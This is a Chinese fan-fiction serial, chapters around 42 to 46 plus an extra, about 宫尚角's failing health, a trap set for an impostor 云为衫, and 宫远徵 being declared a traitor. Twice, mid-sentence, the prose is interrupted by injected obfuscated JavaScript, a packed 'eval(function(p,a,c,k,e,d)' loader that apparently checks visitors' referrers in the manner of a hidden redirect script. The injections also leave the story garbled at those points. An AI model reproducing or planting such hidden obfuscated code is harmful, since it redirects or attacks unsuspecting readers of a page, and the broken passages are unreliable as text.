像是能感应到他的心绪波动,宫远徵忽然放低了声音:“我哥说,他知道宫门对付雷陨,江辞这边一定会按捺不住,对他而言速战速决并非坏事……” 他顿了顿,像是才下定坦白的决心:“实在要说的话,是我先受了江辞蛊惑,否则哥哥不会用这么极端的方式。” 少年的话让宫子羽愣怔片刻——他几乎是在安慰他。 而事实上,宫尚角当时的原话是:“就当是我任性一次吧,远徵。”不过这句话背后的滋味与分量,宫远徵并不打算与宫子羽分享。 两人向下崖的方向继续前进,上官浅和宫岸角正等在那里。后者听不见峡谷深处毛骨悚然的回音,打着手势询问他们为何还不进去——他显然对这次的行动跃跃欲试,并且也和金复一样,对于上一次被排除在外耿耿于怀。 宫子羽挥了挥手,示意他先不要着急,随即将目光移向上官浅:“……为什么来的是你?” 他一下船便收了信赶来这里,甚至没能去看看角公子和月长老,自然也没有机会与云为衫碰面。 女子玩味地反观回去:“或许是,角公子更信任我?” 宫子羽露出一丝迷惑:“可他在信中说……” 上官浅忍不住笑出声来:“别太心急了,羽公子!你和云姐姐也不过是十日未见而已。” 宫子羽苦笑。他还是会被轻易看穿,就这一点来说也实在不像个执刃。 当然,他并不承认:“我的意思是,你认得云雀?” 上官浅于是从怀中抽出一张墨迹半干的画像:“月长老画的,潦草是潦草了一些,但认人不成问题。” 宫子羽凑上去:那画像双钩白描,未曾设色,墨线走笔深浅不一,却将一位年轻女子的清丽灵动勾勒得极富神韵。显然作画之人并非技法不佳,而是仓促作成,或是已然无法稳定运笔。 “他……”宫子羽忧心忡忡地看着那断断续续的墨迹。 宫远徵却 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大约是突然意识到屋子里没人听他抱怨,他生生截住话音,马上给自己的论据找了个观点:“千里迢迢地来这种鬼地方,你就不难受么!” 这几乎是在说一句废话——怎么可能不难受呢?宫尚角这四年里就没有哪一刻是不难受的,顶多是分个轻重缓急罢了。 “你不喜欢这里,角宫地牢自然随时欢迎你。” 榻上人连眼皮都未动,说话时还带着气音,但至少没在“装死”,这已可算作对宫唤羽最大的宽容。 宫唤羽尴尬地轻咳一声:“我帮你们解决了雷陨,你还不信我?” “我信不信你不重要。但宫子羽显然不太信你,否则不会宁肯带着你,也不愿让你留在宫门。”这与他当初带云为衫同行是一个道理。 宫唤羽闻言挑了挑眉:“那你又打算如何验证……我的‘忠心’?” “谁说我要验证?”宫尚角终于徐徐睁开眼睛,露出一对如同窗外雨雾一般朦胧的墨瞳,“我做不了几日执刃了,你的‘忠心’也不必浪费在我身上。” 这基本等同于是宣告他要死了。两人自幼接膝,识得近三十年,宫唤羽知道,宫尚角这话说得越委婉,便越是说明时日将近。 他深深看了榻上人一眼,又叹了口气:“还记得小时候我常常生病,最初连学堂的课也总是落下。那时我很羡慕你,在学堂里跟先生对答如流,修得了宫门的至阴心经。” 炉火哔啵作响,宫唤羽低下头拨弄了几下,翻出一串火星:“我冬练三九夏练三伏,好不容易熬到当上少主,但无论武功还是威望都远不如你——宫门的同辈,没有一个不是在你的阴影下长大的,我甚至发现一些羽宫旁支的孩子也更信服你,更不用说老执刃对你的器重!那时候,你每次外出,我至少有一半心思祈祷你死在外面……” 他说着扔下火钳,走到榻边,表情竟从忿懥中生出几分忧虑:“但现在不行,宫尚角!无锋未除,宫门的江湖地位尚在动荡关口,这个冬天还没有过完——” “子羽是来接你回家的,不是来给你送终的!” 屋内静了静,宫尚角仿佛有些意外。但也只是有些意外。如果宫唤羽说这些话的目的在于触动或修好,那他打错了算盘,宫尚角仍旧面色不豫地审视着他: “宫门动荡,是因为谁心怀叵测、恶贯满盈?杀老执刃的不是你?害雾姬、宫紫商逼宫门内斗的不是你?还是引来无锋的不是你?你说你不想让子羽伤心,可四年前他也差点在那场大战里丧命。我把这副身体熬到油尽灯枯,你现在来告诉我不要死……不嫌太迟了么?” 无论表情态度,宫尚角此刻都显得异常冷静,声线波动似乎也仅仅是因为气息不逮。若非一番话后他胸膛骤然加剧的起伏,和身侧微微蜷起却依然无法掩饰震颤的双手,宫唤羽几难察觉榻上之人究竟是带着怎样的情绪道出这番言辞。 宫岚角立即站了起来:“徵公子和羽公子快回来了,我们出去看看。金复留下。” 她目中气势很盛,带着强硬的指令,并且已将握着银刀的手臂探出,用半边身体挡住了宫唤羽继续眺向她身后的视线。 宫唤羽欲言又止地耸了耸肩头,脸上半是冷漠半是无辜,直至跟随宫岚角走到门口才幽幽吐出口气:“看来你是真的很难受啊……” 宫尚角已然重新闭上眼睛,整个人比半刻之前又苍白憔悴了几分,但没有理会那真伪莫辨的关心:“再提醒你一句,别打无量流火的主意。 “否则,我保证,一定亲手送你先行。” 27. 四十二·四十三 (四十二) 宫门抓了一个发了疯的无锋刺客。 ——镇子太小的坏处是,不出两日,这消息便已闹得人尽皆知。 可以肯定的是,云雀已死,死在多年之前,死于全身经脉尽断。至于死而复生,也即所谓的“异化”,宫远徵判断多半与半月之蝇有关。 “云雀”现在的样子堪称可怖,与画像里那清丽灵动的女子没有分毫相似,只会像一头饿红了眼的山魈,现出青面獠牙,扑向每一个接近它的人。 月长老仍旧挣扎着起身去见了它,并拒绝了宫子羽和宫远徵将它关进笼子的“建议”。他知道它不是她,他只是情难自抑。 同样为之戚然的还有云为衫。她缚住它枯瘦的双手,抵住它冰冷的前额,替它梳洗,替她更换腐朽不堪的衣物——只有真正的云为衫,那个自小与云雀相伴长大的云为衫会做到这一步,只为留给她最后一丝体面。 这不是武断的推测,而是宫尚角基于经年江湖阅历对人性的判断。 “我问了阿云和月长老,他们都同意暂时把‘云雀’带去白帝城。雷大当家那边我已去信问过,腾个院子出来不成问题。”宫子羽站在江岸渡口边,注视着栈道之下的滔滔疾流。 不让云雀入土为安固然残忍,但在事情没弄清之前,别无他法。云为衫和月长老都不是不识大体之人。 “我也是这个想法。这里条件太差,那破房子四处漏风,镇上连个抓药的地方都没有!”宫远徵苦恼地抱怨了几声,随之刻意压低声音,“可是哥现在完全动不了,再折腾一趟,我怕……” “难道是竭灵芝没有效果?”月长老的舍命施救终究要付之东流了吗? “不是……还记得你们给我哥强行解蛊么?现在好了,新旧药石一齐反噬,我哥这几日痛得连觉都睡不了!”宫远徵瞪视着他,似是要给自己的愤怒找一个出口。 宫子羽无言面对指责。宫尚角根本没与他商量,蛊也不是他解的,但无论这件事还是四年来的桩桩件件,他显然都并非无辜。 “……可其实这些都在其次,只要哥的五脏六腑七经八脉还能运转,就还有希望!我现在只想维持现状,维持现状就好……” 少年上翘的唇峰哆嗦着,将最后的音节吞进滚滚江涛。宫子羽几乎听不见他后面的话,却从少年上下耸动的肩头瞥见他并未展露的情绪——悲伤、忧惧、惊恐。 一股巨大的苦涩顺着喉管蔓延上来,让宫子羽声音发涩:“不会有事的……” 他想了想,还是将手掌重重落向少年单薄的臂膀,就仿佛做出了某种保证。 一个连他自己都无法说服自己的保证。 宫远徵镇定下来,一双布满血丝的眼睛仍在尽可能警觉地扫视四周。那些刺探的目光消停了没两日又开始若隐若现,依着宫三公子往日的脾气,断然要让窥伺者吃不了兜着走,但此时此刻,他或是思虑重重,或是倦意深沉。 “你今日见到云为衫了吗?”他忽然问道。 这突兀的转折让宫子羽莫名语迟:“你……她……” 徵公子打断他:“哥哥相信她,我就相信她。只是这两天让所有人都别走远,转移延后几日也不迟——” “哥的半月之蝇,又要发作了。” * 上官浅说她的女儿生在仲秋,有一双秋水般的眸子,和同他一样高挺的鼻梁;她说旧尘山谷瘴气深重,不适合孩子成长:她说养大一个孩子需要很多钱,而宫尚角最不缺的就是钱。 他问:我能见到她吗? 她说:你没明白,她不是宫门子嗣,她是孤山派的遗孤。 他有时见到宫锦商会想,那个孩子会不会也是这般,像只小猫一样上蹿下跳,玩累了便蜷伏在大人脚边打瞌睡?只是,他这辈子怕是没机会亲眼见证了。 上官浅大概也察觉到这点,从无锋总部回来,她答应待冬日过完便让孩子见他一面,算是给他一点盼头。 近来好像人人都在试图给他盼头—— 远徵提过很多次春天:春日里五颜六色的花,春光潋滟的景,春阳下他和他的江湖行。宫子羽说,宫紫商和她爹正在研制新火器,如若成功,宫门江湖威望大增不说,或许无需动用无量流火便能解决异化危局。宫岚角表示,她与雷家堡谈妥了新生意,三月之后便可见效。就连宫唤羽都在以无锋为名,劝他不要轻赴三途。 然而这黄泉之路,是他说不赴就能不赴的吗?与老天爷搏命的日子,他过得实在太苦。这几日他总是想要尝些甜的,可勉强吃到口中,才发觉自己已然分辨不出甜的滋味。 “痛吗?”云为衫站在门前,音色中透出冰冷和疏离。 宫商角闭着眼睛,不发一言。这一次,他好像比一个月前还要狼狈。 又是薄暝时分,丝雨连成雨幕,遮蔽最后几缕天光。昏黄萤火自败瓦裂隙间散逸,却将这座萧条小院裹成一团幽暗的茧——灯下黑,最是危险蒙昧。 宫子羽站在院外合抱粗的老榕树上,目不转睛地注视着那间屋子。暖帘半卷,影影绰绰,有人正从屋子中间穿过,走向右侧山墙。 “我本不想杀你,但角公子总是能带给我‘惊喜’。”云为衫肌如凝脂,冷若冰霜,像极了戴着一副完美的人皮面具,“我已将人都引走,这里只有帮不上忙的月长老、不会帮忙的宫唤羽,还有……眼下会替我做任何事的上官浅。” “那个小姑娘长得很像你,你真该见见……”她喃喃说着,在榻前站定。 衣袂翻转,一柄锋利的匕首划过烈火,淬出冷蓝的光。 藤条扶风,细雨如织,有人纵身跃上榕树主干,与宫子羽比肩。老树之上长满湿滑的苔藓,羽公子反手拉住她,轻声提醒:“小心。” 左右两方危垣之后,宫岚角、宫岸角姐弟、金复和随行侍卫尽皆戒备。没人能看到宫远徵在哪里,但他们知道,徵公子必然已在触手便可施救的位置。 “等等。”宫尚角忽然抬眼,连日来昏昧朦胧的目中多了几分久违的清明,“我能不能……问你个问题?” 挥动匕首的手臂定住,云为衫带着一丝探究示意他说下去。 “我这几日时睡时醒,分不清日子。你能告诉我,今天是哪一天了么?” “十二月廿一。很可惜,你过不完这个冬天了。” “——可是我想试试。” 银光闪动,长刀已握在宫尚角手中。他没有起身,却瞬间挑翻云为衫手中匕首,在她腕间划开一道数寸长的血口。 血光溅起,七枚乌黑锃亮的流星镖兜头罩下,宫远徵“砰”的一声踢碎门板,当先冲入。宫子羽紧随其后,刀锋直指榻前之人后颈。 宫尚角唇边露出一抹笑意,转向门外:“看来我又赌赢了,云夫人。” 云为衫站在那里,手中提着一柄轻似云、薄如羽的刀。 · · · (四十三) “云为衫”浑身僵硬地看向榻上人。 宫尚角弓身喘息着,虚弱到连顺畅呼吸都奢侈,连维持坐姿都需勉力,却硬是咬牙撑到此刻才泄劲。染血的刀尖砸穿地板,发出爆裂声响,沉重的刀身几乎要将那轻似鸿毛的身体拖向腐朽虫蠹的深渊——好在手套上的磁石仍紧紧吸附着刀柄,阻止了进一步下坠之势,宫远徵眼疾手快将刀抽走,让他不至瞬间失去平衡。 “今日不是你的‘月蚀’之期?”她比真正的云为衫嗓音要低哑一些,抑或是抵在她后颈的刀让她无法维持原本的声线。 “自然不是。我和远徵弟弟故意在渡口说那些话,为的就是引你们上钩!”顶着这样一张脸,她很少能听到宫子羽这么冰冷的语气。 宫远徵不看他们,就着榻沿缓缓落座,小心翼翼将人半揽在肩头,低垂的目光中满是心疼:“哥哥这样,你们还是怕他。不把情况说得再严重一点,如何尽快把你们引出来?……这鬼地方,我真是一刻都不想多待!” 破裂的门板搅动着屋外的烟尘雨雾,院中传来刀兵之声,埋伏在外的角宫侍卫也已动手,但似乎对家的规模远超他们料想。 “不对,这人数不对!”站在门口的云为衫立即警觉,迅速越过门槛逼近榻前,“你做了什么?!” 除了无锋一贯的“走狗”,人群中还混杂着各帮各派的兵刃服饰,有很多此前并未参与过无锋与宫门之争。 背向门口的“云为衫”终于扭过头来,舔了舔发白的唇,神色中泛起一丝残酷的愉悦:“各大门派后院起火,‘异化之毒’在整个江湖蔓延,幕后黑手竟是宫门徵宫——这个消息,够不够炸裂?” 她语声方才落下,外面的叫嚣便已追至耳际: “——宫远徵出来!敢做不敢当,躲在里面当缩头乌龟,这就是宫门的做派?” “——宫尚角也在里面!他不是宫门执刃吗?让他出来对峙!” “——宫尚角怕是早死了!他若是活着,还能由着这群宫门败类胡作非为?” 宫远徵整个人一震,明显是慌了片刻,就连宫子羽的刀锋也在不知不觉间偏移半寸。阴谋者伺机而动,但云为衫的薄刃马上缠了上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是时候站出来稳住事态,做一个真正的宫门执刃该做的事。只要最终能化解这场危机,那么无论是宫门的声名还是他宫子羽作为执刃的江湖地位,都算是彻彻底底地保住了。 诚然,真正的江湖充满变数和险阻,远非振臂一呼便能刃迎缕解,他甚至可能等不到风停雨霁的那天……但正因如此,他大概真的该放手了。四年的越俎代庖,近两月来的鸠占鹊巢,虽是权宜之举,但对宫门、对宫子羽、哪怕对他自己而言皆无长益,也绝非公平。即使他从不在乎所谓“公平”,却不能眼睁睁看着亲族为此承受恶果。月长老的事,已然给了他一个深刻的教训。 然而,宫尚角未曾细想或者说根本不愿去想的是,比起害怕担责受累,宫子羽更害怕的是洞悉他那撒手人寰的念头,哪怕只是一丁点的苗头。他努力用角公子最在意的一切吊住他的心气,怕的是他一旦彻底放手,那绵痼沉疴便再无转圜余地。这也是宫尚角明里暗里一再提起,他却迟迟不肯的正面回应的原因。 好在,他相信阿云——宫尚角向阿云求得一个保证,本也是要让他安心。 宫子羽吐出口气,朝云为衫投向交付重托的目光。云为衫迅速会意,郑重地点了点头。 屋外淫雨陡然加剧,战势似已陷入焦灼。邪风恶语倒灌进来,宫远徵用自己的身体和披风都挡不住那刺骨的寒意。 宫尚角却在这时推开了他,没用任何力气,只是轻柔地将自己从他炙热的胸膛间抽离:“你也去,远徵。” 于是泪水再度自宫三公子眼中滚落,如同被凿地三尺硬生生剖出的滥泉,愤然喷涌出朱砂色的沸水。他也没想明白自己究竟因何哭泣,哥哥又不是今日便要去了…… 大约是哥哥一直在不停地把他推开。从他第一次带着稚嫩和懵懂向哥哥表露心迹,直到现在。——他受够了,受够了自己这些年中的卑微求全,受够了自己无论多么心有不甘,仍会习惯性地听从哥哥每一句言不由衷的哄骗。 而现在,他甚至都不愿意哄一哄自己了…… 可他不想当着别人的面说这些,这是他与哥哥的事,也只是他们两个人之间的事。哥哥最在乎的永远都是宫门,既然他那般冀望没有他的宫门也能配合无间,那自己即便再委屈不甘也要让他如愿。 所以他默默将泪擦干,俯身轻轻按上那双颤抖的手,意外得到了半分微弱到堪称聊胜于无的回应——至少他宁肯相信那是哥哥的回握,而非该死的、不可抑制的手颤。 宫远徵总算挺直了脊背。 宫门主事人的现身多少带来了些威慑,屋外骤然爆发出一阵喧哗,宫尚角一直目送两人消失在门外,这才将视线移回榻前:受制者将服饰妆容也模仿得极像,至少在宫尚角视物模糊的眼中已分不出差别,但迥然相异的气息和态度可以立即将两者区分开来。 最终,他将视线定格在真正的云为衫身上:“云夫人……你曾有过无数机会……告知我或子羽实情,但你没有…… “我想知道,为什么?” 28. 四十四 + 番外三 (四十四) 川江中段,水流极湍。逆水行船并非易事,所幸宫门的司舵、缭手经验丰富,加之风伯眷顾,两艘大舸张帆行驶,总算摆脱了围追堵截的船只。 ——在江湖中,讲道理不如拳头硬,可一双拳头也难敌悠悠众口。宫子羽尽力而为,却无法应付那些摆明了既不讲道理、也不讲武德的无赖。若只他自己也就罢了,现下要宫门上下几十号人跟着他仓皇转移,宫子羽着实感到一阵羞赧。 他很想问一问角公子,如果是他,会怎样处理刚才那种局面?若是早做预判,而非想当然地认为万事顺遂,是否就能避免陷入被动?可他不敢问,他甚至都不敢去看一看宫尚角是否还醒着。回想这漫长四年,他每对他提出一次请求,每向他询问一个问题,都像是在无知无觉夺去他的一部分寿元……直至此时此刻,他意识到自己简直是个麻木不仁又贪得无厌的混蛋。 天色已完全暗下来,两岸间或闪出几点渔火,很快便淹没在雨雾之中。宫子羽自舷窗收回目光,转向灯火通明的主舱,眯起眼睛在这明暗转换间适应片刻:月长老仍坐在榻前的绣墩上,烛光将他衬得面如金纸,金复从半刻前便跪在那里低声啜泣。 两个侍卫终于搬来屏风,在宫岸角的指挥下安置妥当。后者走近榻前时明显一僵,像是看到了什么令人惊骇的场面,接着迅速转身步出舱门,像极了落荒而逃。 主舱自始至终都很安静,安静得让宫子羽害怕,他不由自主跟上宫岸角的脚步,最终在艏楼前截住他的去路,示意“有话要谈”。他的手语已经很熟练了。 【没受伤吧?】 对面轻轻摇了摇头,冷雨浸湿了他的面颊。 【给你姐姐传信:到了白帝城,若遇阻拦,格杀勿论。】宫岚角在另一条船上,和阿云负责看守宫唤羽、“云为衫”和“云雀”。 【还有……】宫子羽将手悬在半空,斟酌某些微妙词汇的打法,但在天聩者的灼视中放弃了那些太过陌生的手势,“做些准备吧。” “——做些准备吧。”说这话的是月长老,不是他,“雷家堡不是才张罗过这事?什么规制,去找他们问清楚。其他倒还可以借,上等的四喜材却不好找。那么在意规矩仪表的人,总不至让他孤零零地回家。” 宫子羽艰难吞咽着口中干沫,直到转述时也没想明白,这位一向将他们视同手足的大兄长是出于什么心态道出这番话——是迫切的建议、迂回的斥责,还是单纯在嘲讽他不懂远虑深谋。 更要命的是,他们本该避着宫远徵谈这些话。可这种关头,宫远徵到底跑到哪里去了?! “——谁没上船,谁就是内奸。” 梨溪镇云家小姐在他们奔向渡口之前所说的话言犹在耳。彼时阿云押解着她,看上去神情更为复杂。 宫子羽实际上比宫尚角更早一些从阿云口中得知实情:宫门里还有无锋的奸细,若是让真正的无锋首领知晓四年前本该被处决的叛徒逃之夭夭,而今本该李代桃僵的人反被偷梁换柱,双生同命的魉也不妨成为下一对云雀。 “我逃了四年,为了保护自己,也为了保护她。但我不能眼睁睁看着他们伤害你,伤害宫门。我在角公子破境那日顶替了她,此后你们见到的多半是我。我没法在明面上帮你们,只能尽力混淆视听。在找出内奸之前,我本不该暴露身份。”云为衫停下来,叹了口气,“但角公子太聪明了,我可以伪装对你们的态度,却无法伪装看到‘云雀’那一刻时的反应。从无锋总部出来,发现他对我态度转变,我就知道,藏不住了。” 难怪,难怪两月来朝夕相处,宫子羽总觉得身边人时而热络亲切时而陌生疏离,并且反反复复,令他始终拿不准主意。但宫尚角不消几个回合便能洞悉真相,甚至不需要亲眼见到那场景。 “内奸是谁,有眉目么?” “我怀疑过上官浅,也紧盯过她一段时间,但她从没做过出格之事。在无锋总部,是她挡在角公子前面,否则我和徵公子到时已然迟了。” 可若不是上官浅,眼下没有上船的人便只有……不,这怎么可能?他在想什么呢?! 遥遥望见金复失魂落魄地游荡上甲板,大约又是被轰出来的,宫子羽咬了咬嘴唇,总算拿定了主意:【我进去看看。金繁还要两日才到,你和岚角盯紧些,我怕白帝城也不太平。】 他与年轻的玄衣刀客交换了眼神,转身朝金复那边走过去。金复立即上前哭诉,说宫尚角于弥留中断断续续地追问宫远徵去了哪,他不知该怎样回答。 “我知道了。”宫子羽冷静地点了点头,用少许内力烘干身上的湿气,然后迈步走向主舱。 腊月二十三日,宫门执刃手令自夔州白帝城发往江湖:宫门代理执刃宫尚角病危,前执刃宫子羽重掌大权,悬赏千金捉拿宫门叛徒,前徵宫宫主宫远徵。 * 腊月二十四日,小年。 宫紫商捂着胸口一路冲下舷梯,在白帝城渡口的木栈道边爆发出一阵惊天动地的干呕。 “……我发誓,我这辈子都不想再出宫门了!” 金繁递了水过来,带着节奏拍打她的后背:“你当真?宫尚角说过那么多好玩的事,你都不想亲眼见一见?” 宫紫商忽然红着眼圈推开他,就仿佛他提了什么不该提的禁忌。 金繁自知失言,嘴角抽搐了一下,轻声提醒:“别哭……今天别哭。” 马蹄声伴着江涛由远及近,金复下马,面色沉重地躬身施礼:“大小姐,金繁哥,执刃让我来接你们。” · · · (番外3)廿冬 许多年后的一个凛冬,宫远徵回忆起当年的事,还是感到一阵后怕。 “你若死在那时,我会责怪自己一辈子……” 他痴痴望着庭中月桂。傍晚的风唤来缕缕寒气,给枯枿朽株渡上一层清霜,远观像是刚落过雪,泛着圣洁的银光。 ——月桂树的寿命多在几十载,两年前的一个雪夜,这棵已近五十龄的老树同他的主人一道寿终正寝,轰然倒塌。人们清理了散落的枯枝,小心翼翼绕着槁木建起围栏。此刻宫远徵正靠在那里,一坛陈年的糯米酒静静贮放在他脚边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“远徵叔叔,你怎么又跑神了?” 宫远徵惊觉,脚边的酱色酒坛带得他一个踉跄。但他未去补救,甚至没有垂头去瞧,只在女孩子的背上轻推一把,示意她快些走。 “远徵叔叔酿的糯米酒,爹爹一向是最喜欢的。” “嗯,平日不让他多喝,到了小年,多少给他解解馋。” 眼前忽然糊成一片,宫远徵用力眨了眨眼,将之归咎于那还算温良的风。潮湿的空气带着一丝温暖的幻觉,像是情人柔软的指腹轻拂面颊。他抽了抽鼻子,喃喃道:“怕是要落雪了……” “今年焚了不少寒衣,爹爹不会冷的。倒是远徵叔叔这两年身子大不如前,别老在外面受冻了。” “知道了。啰嗦。” 那一夜果然下了极大的雪,宫远徵拈着一纸旧笺赤脚站在窗棂前,看着大雪如鹅毛般铺满整个后院——那张泛黄的信笺混着泪痕,早被他揉搓得不成样子,但熟悉的小字力透纸背,仿佛还留有他的余温。 信不长,不加抬头落款共十六个字,写的是: 廿冬偷安,尚觉无憾。彼春珍重,远逢有期。 29. 四十五·四十六 (四十五) 除三害的周处曾作《风土记》,载晋时吴地于腊月二十四日夜祀灶,“谓灶神翌日上天,白一岁事,故先一日祀之”。尔后数百春秋,此风俗渐入巴蜀,百姓“扫年”多自祭灶始,故以此日称为“小年”。 宫子羽做执刃这几年,宫门的筵席每每从小年夜一直摆到大年夜,虽则只酬本家,不宴宾客,亦可谓觥筹交错、华灯罗列、琳琅满目、丝竹贯耳。即便是宫尚角这种杜绝享乐之人,进了年节时日也会宽和纵容几分。可如今客居白帝城,酒席乐舞自是既无条件也无心绪,宫子羽还没盼到宫尚角“训”他,倒是先等来了一向苦船、从不涉水的宫紫商。 “宫子羽,好玩么?你那信写得简直要吓死人!‘病危’是怎么个意思?宫尚角不是好好的在里面呢吗!” 宫紫商方才见过宫尚角一面,虽说是人不大清醒,半月前好容易见些起色的身体又毁于一旦,但她坚持认为是宫子羽诓了她——亏她生怕见不着宫尚角最后一面,吐得七荤八素也不敢让船慢行! “亲姐姐,我哪敢唬你呀!”宫子羽却无半分在开玩笑的迹象,反倒是逮到了倾吐对象,“早些天他就算精神不济,头脑也总是比我还机敏,这几日却时常连叫都叫不醒!……你见过半升半升往外呕血,可一点疼都感觉不到的月蚀之期么?昨夜月长老守了大半宿不敢合眼,自己差点没累昏过去,直说幸好宫远徵没在,他还能撑着那口气!” 宫子羽每道一字,宫紫商的心便跟着挛缩一分,直至近乎窒息。随即,她猛地把自己弹起来,高声叫道:“对了!宫远徵到底什么情况?!你可别告诉我他真是什么无锋的奸细!” 宫门执刃的面色陡然阴沉些许,目光放空,不咸不淡地置评:“阿云说内奸就在我们身边,思来想去,还能是谁?有侍卫看到他同上官浅一道离开,既然他已做出选择,也怪不得我翻脸无情。” 宫紫商瞠目结舌,直觉眼前的弟弟似是突然变了个人。往时做了四年执刃,也不曾见过他这般阴阳怪气。 金繁却了然扫视着外围的楠竹篱墙:这座别院虽位于白帝城边缘僻静之处,周边又布置了角宫精锐和雷家堡的帮手,但毕竟不是自家地盘,难说有什么人正虎视眈眈地盯着。 “今日是小年,莫说这些晦气话了。”于是宫门的乘龙赘婿也开始拿腔作势,“云为衫说厨房需要帮手,我等下过去瞧瞧。紫商,你还是进去陪着宫尚角吧,月长老不是说他快醒了?” 宫子羽半是宽心半是忧心地长吁了口气:“刚才岚角派人传信,说雷大当家请了城中耆老主持祭祀,还有不少盘踞此地的江湖人,宫门执刃无论如何得露个面。我晚膳前必定回来,若是没有……那便劳烦姐姐拖住尚角哥哥,千万别让他再睡过去!” 宫紫商一脸嫌弃地剜了他几眼:“人都快没了,还得给你收拾烂摊子,做你哥怎么那么命苦呢!” 宫子羽却未同从前那般嬉笑敷衍:“姐姐便不能对我有些信心?我不过是想亲口道一声小年安康!” “——我们回不了宫门,宫远徵也不在身边,总要让他知道,还有你我陪他过年。” * 那大约是宫子羽和宫紫商第一次同宫尚角一起过小年。 彼时角宫主人的目光中已初显今时锋芒,但脸上还带着少年人的稚气。他误打误撞闯入羽宫,正撞见老执刃与几个孩子围坐院中,石桌上摆满各式菜肴,还有一壶烫得热腾腾的黄酒。 那一瞬,宫子羽恍然在他脸上看到许多种情绪,年幼时懵懂无知,如今细细回味,才知是意外、不安、懊恼……以及一丝不易察觉的向往。 “尚角,你可是有事么?”同样意外的还有老执刃。 宫尚角拱手作答:“我来寻远徵,有侍卫说他来了这边。尚角无意打扰,既然人不在这里,我便告辞了。” 他飞快说罢,转身欲走,却被迎面而来的雾姬夫人拦在石桥边:“来都来了,吃过饭再走吧。唤羽、紫商你都熟,子羽更不是外人。我让下人去寻一寻徵公子,若他也在羽宫,叫来一起吃便是。” 宫紫商印象中,那是宫尚角最局促的一次。水足饭饱,她借口吃醉了酒,要宫尚角送她回去,算是“救”了他一命。谁知宫尚角并不承情,一路上板着脸一言不发,宫紫商只好没话找话:“今日是小年,你们角宫不摆宴么?” 宫尚角机警地反问:“那你们商宫不摆宴么?” “自然是摆了的。”宫紫商叹了口气,“可宴席是姨娘做主,没一样我爱吃的。我爹巴巴地等着姨娘给他生儿子,只知道骂我不孝顺,我倒不如留在羽宫来得自在些。” 宫尚角面无表情地凝了她半晌,转过脸自顾自揭了家底:“我明日去过三域试炼的最后一关,远徵想让我留下陪他,我不允,他便躲了起来。可是过了年我就满二十岁了,若是通不过三域试炼,哪还有脸面做这角宫宫主,又如何能在江湖上立足?” 这言论让宫紫商瞪大了眼睛:“你不是冬至前才从外面回来?第一次出宫门就谈了单大生意,这还能叫没有脸面?……” “那你可知,整个宫门每一日的花销是多少?上下几百口人,每个人的吃穿用度,武器兵刃,房屋宇舍的维修损耗,管事统领、侍卫仆从的月例津贴,再加上你们摆的这些宴……跟这些比起来,我那一单生意只能算得上九牛一毛。 “单是这些开销,角宫倒还担负得起,怕的是那些贪得无厌的江湖人。我们诚信行商,规矩办事,可偏偏人家见你年轻,便要来压上一头,占些便宜。小打小闹倒也罢了,难的是对付背后捅刀子的无锋余党。宫门如今看似安全,实则虎狼环伺,我若不能通过三域试炼,习得后山九式刀法,连自身都难以保全,又谈何守护宫门?” 宫紫商在宫尚角话说到一半时便已拧起眉头,听到最后则干脆捂住了耳朵:“别念了,别念了……以前怎么不知道你这么能絮叨呢?难怪唤羽哥哥说,他快要被你卷疯了,说这少主之位迟早是你的!” 宫尚角顿住脚步,竹林中的冷风略起他单薄的衣衫:“我说这些,并不是指望你现在就能理解。我只是想告诉你,我们身上背负的是整个宫门。我们的父辈把鲜血洒在这里,有些事情我们责无旁贷。” 这几句话说得太过苦口婆心,宫紫商怔怔抬眼,发觉宫尚角并没有看她。她顺着他的目光望过去,竹径幽邃,抽条的笋枝将一颗裹得毛茸茸的小团子遮了个严严实实。 “——谁不喜欢灯红酒绿,火树银花?但要岁月静好,便要有人负重前行。” 凛冬霙雪,坠地结晶,一大一小两行脚印顺着青石板蔓延开去。 “哥,明日花宫试炼,你还需要什么药?我让医馆去准备。” “哥,你的绿玉侍上次留在后山了,我把我的绿玉侍给你吧?他叫金复,嘴有点碎,但是个可靠的人。” “哥,你穿这么少,冷不冷呀?” “哥,我等你回来过年……” “……远徵,我等你回来过年。” · · · (四十六) 宫远徵甩出几道冷箭,掉头没入巴东之地障云蔽日的密林。 天杀的宫子羽!也不与他商量一声便下了悬赏令,害他救回孩子后只得与上官浅分道扬镳,回程既不敢涉水路、也不敢走官道,专挑这崎岖小径,可赏金客和亡命徒仍像是狗皮膏药一般贴在身后。 ——今日已是小年,哥哥定是等着急了罢? 就在这一愣神的功夫,一柄龙骨钺卷着残叶抡过来,宫远徵登时举刀格挡,两兵在电光火石间数度相接,即便他最初用的是刀脊,仍有一处刀锋在这激烈的缠斗中磕卷了刃。 持钺者目力甚佳,已然看出端倪,果断略开数尺,出言嘲讽:“这不是你的刀。此刀久不出鞘却磨砺如新,足见它真正的主人非常讲究。宫三公子这般胡来,怕是要挨骂了!” 宫远徵甩了甩震得发麻的手臂,暗道一声不妙:自己的刀遗落在无锋总部的悬崖之下,那日他拿了哥哥的刀,便暂时用它御敌。但这柄刀比他惯用的子母刀长出近一尺,对于他这以快见长的路数也着实重了几分,他用不趁手,只图其足够锋利,可谁知…… “名刀有灵,看来连刀都知道,宫尚角人快不行了!” “闭上你的乌鸦嘴!” 宫远徵再次出手,恼怒间运足了内劲,刀势由灵动转为刚厉。斩月三式用到第二式,林中作鸟兽散,持钺者攻势尽失,转身疾速退去。然而宫远徵来不及沾沾自喜,便意识到几丈之内尚有一道内息。 “什么人,出来!” 那人方自一棵香樟木后现身,一袭玄衣劲装,手提一柄阔刀,竟是宫门侍卫装束:“徵公子这一式‘小望月’用得着实精彩,月长老见了定也欣慰。执刃还怕徵公子会出事,在我看来,完全是多虑了。” 这人约莫三十出头,身量颀长,并非前山常来常往的熟面孔,但宫远徵怎么看怎么觉得他有些眼熟。此人内力应在他之上,若非刻意暴露内息,吓退持钺者,宫远徵直到此刻也未必能察觉到他。 “徵公子或许已不记得我,但总应知道这个。”见年轻的徵宫主人一脸狐疑,来人举起左手,亮出手背上牛血色的红玉。 